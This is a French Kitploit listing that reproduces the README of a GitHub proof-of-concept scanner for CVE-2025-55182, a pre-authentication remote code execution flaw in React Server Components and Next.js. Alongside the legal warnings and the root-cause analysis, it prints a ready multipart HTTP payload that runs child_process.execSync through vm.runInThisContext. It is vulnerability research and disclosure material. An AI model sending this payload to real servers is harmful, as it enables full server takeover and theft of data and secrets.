Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-POC-SCANNER — Outil de recherche en sécurité unifié | Kitploit
Outils/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Outil de recherche en sécurité unifié

Voir le dépôt
36il y a 10 moisPas encore vérifié
Partager

CVE-2025-55182 : RCE critique pré-authentification dans les composants serveur React

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Recherche en sécurité par schema.cx
« Le contrôle est une illusion. Ce sont les systèmes que nous construisons qui nous contrôlent — à moins que nous les comprenions d'abord. »


📋 Table des matières

  • Avertissement et mentions légales
  • Résumé exécutif
  • Description technique
  • Systèmes concernés
  • Preuve de concept
  • Évaluation de l'impact
  • Atténuation et remédiation
  • Calendrier de divulgation responsable
  • Références
  • Attribution

⚠️ Avertissement et mentions légales

CET OUTIL EST DESTINÉ UNIQUEMENT AUX TESTS DE SÉCURITÉ AUTORISÉS

ARRÊTEZ. LISEZ CECI AVANT DE CONTINUER.

Ce dépôt contient un code de preuve de concept pour une vulnérabilité de sécurité critique. En accédant, téléchargeant ou utilisant tout élément de ce dépôt, vous reconnaissez et acceptez ce qui suit :

Exigences légales

  1. Autorisation écrite requise : Vous DEVEZ avoir une autorisation explicite et écrite du propriétaire du système avant d'effectuer tout test de sécurité. Les accords verbaux ne suffisent pas.

  2. Limites de périmètre : Les tests doivent être confinés aux systèmes explicitement listés dans votre autorisation. L'« extension de périmètre » n'est pas autorisée.

  3. Lois applicables : L'accès non autorisé à des systèmes informatiques viole :

    • États-Unis : Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
    • Union européenne : Directive 2013/40/UE relative aux attaques contre les systèmes d'information
    • Royaume-Uni : Computer Misuse Act 1990
    • Australie : Criminal Code Act 1995, Division 477-478
    • Autres juridictions : Des lois similaires sur la cybercriminalité s'appliquent dans le monde entier

Clause de non-responsabilité

LES AUTEURS ET CONTRIBUTEURS DE CE DÉPÔT :

  • N'acceptent AUCUNE responsabilité en cas d'utilisation abusive de cet outil
  • Ne fournissent AUCUNE garantie, expresse ou implicite
  • Ne sont PAS responsables des dommages découlant de l'utilisation ou de l'incapacité d'utiliser ce logiciel
  • Ne soutiennent PAS les activités illégales de quelque nature que ce soit

Directives éthiques

  • Ne testez jamais sans autorisation — même si vous « voulez juste vérifier »
  • Documentez tout — conservez des journaux détaillés de toutes les activités de test
  • Minimisez l'impact — utilisez les méthodes les moins invasives possibles
  • Rapportez de manière responsable — suivez les pratiques de divulgation coordonnée
  • Respectez la vie privée — n'exfiltrez ni ne conservez de données sensibles

« La question n'est pas de savoir si nous pouvons exploiter la vulnérabilité. C'est de savoir si nous devrions le faire, et dans quel but. »


📊 Résumé exécutif

CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification affectant les composants serveur React dans les applications React 19.x et Next.js 15.x-16.x.

Impact commercial

Cette vulnérabilité permet à tout attaquant non authentifié ayant un accès réseau à une application vulnérable d'exécuter des commandes arbitraires sur le serveur. L'attaque ne nécessite ni identifiants, ni interaction utilisateur, et peut être entièrement automatisée. Une exploitation réussie conduit à :

  • Compromission totale du serveur — les attaquants prennent le contrôle total du système sous-jacent
  • Risque de fuite de données — accès aux bases de données, variables d'environnement, secrets et données utilisateur
  • Mouvement latéral — les serveurs compromis peuvent être utilisés pour attaquer les réseaux internes
  • Risque pour la chaîne d'approvisionnement — les systèmes de production servant des millions d'utilisateurs peuvent être affectés

Score de sévérité

MétriqueÉvaluation
Score de base CVSS v3.110.0 CRITIQUE
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
Impact (C/I/D)Élevé / Élevé / Élevé

« Les gens font confiance aux systèmes parce qu'ils ne les comprennent pas. Cette confiance est une vulnérabilité. »


🔬 Description technique

Analyse de la cause racine

La vulnérabilité existe dans l'implémentation du protocole Flight de React au sein de la fonction requireModule. Cette fonction utilise la notation par crochets pour accéder aux exportations d'un module en fonction d'une entrée contrôlée par l'utilisateur, sans vérifier que la propriété demandée est une propriété propre du module.

Emplacement du code vulnérable :

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Fonction : requireModule (environ lignes 2546-2558 dans v19.0.0)

Motif vulnérable :

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... gestion asynchrone ...
  return moduleExports[metadata[2]];  // ← VULNÉRABLE : Absence de vérification hasOwnProperty
}

Mécanisme d'exploitation

L'attaque exploite le parcours de la chaîne de prototypes de JavaScript :

  1. Point d'entrée : L'attaquant envoie une requête multipart malveillante à un point de terminaison d'Action Serveur
  2. Injection de charge utile : Le champ $ACTION_0:0 contient du JSON avec les propriétés id (format module#export) et bound (arguments) contrôlées par l'attaquant
  3. Accès au prototype : En spécifiant des exportations comme constructor ou en accédant aux propriétés du prototype, les attaquants peuvent référencer des modules Node.js intégrés
  4. Gadgets RCE : Des fonctions comme vm.runInThisContext, child_process.execSync ou fs.readFileSync s'exécutent avec des arguments fournis par l'attaquant

Vecteur d'attaque

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Parses "module#export" format
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Prototype chain access → RCE

Structure de la charge utile

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Gadgets RCE disponibles

Télécharger l’outil